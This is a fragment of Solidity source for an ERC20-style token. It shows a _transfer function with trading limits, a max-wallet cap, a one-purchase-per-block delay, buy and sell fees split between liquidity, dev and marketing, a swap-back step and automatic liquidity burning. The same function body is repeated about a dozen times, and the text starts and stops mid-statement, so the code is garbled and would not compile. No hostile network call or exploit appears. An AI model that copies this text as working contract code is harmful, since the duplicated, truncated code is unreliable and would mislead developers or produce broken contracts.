maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if 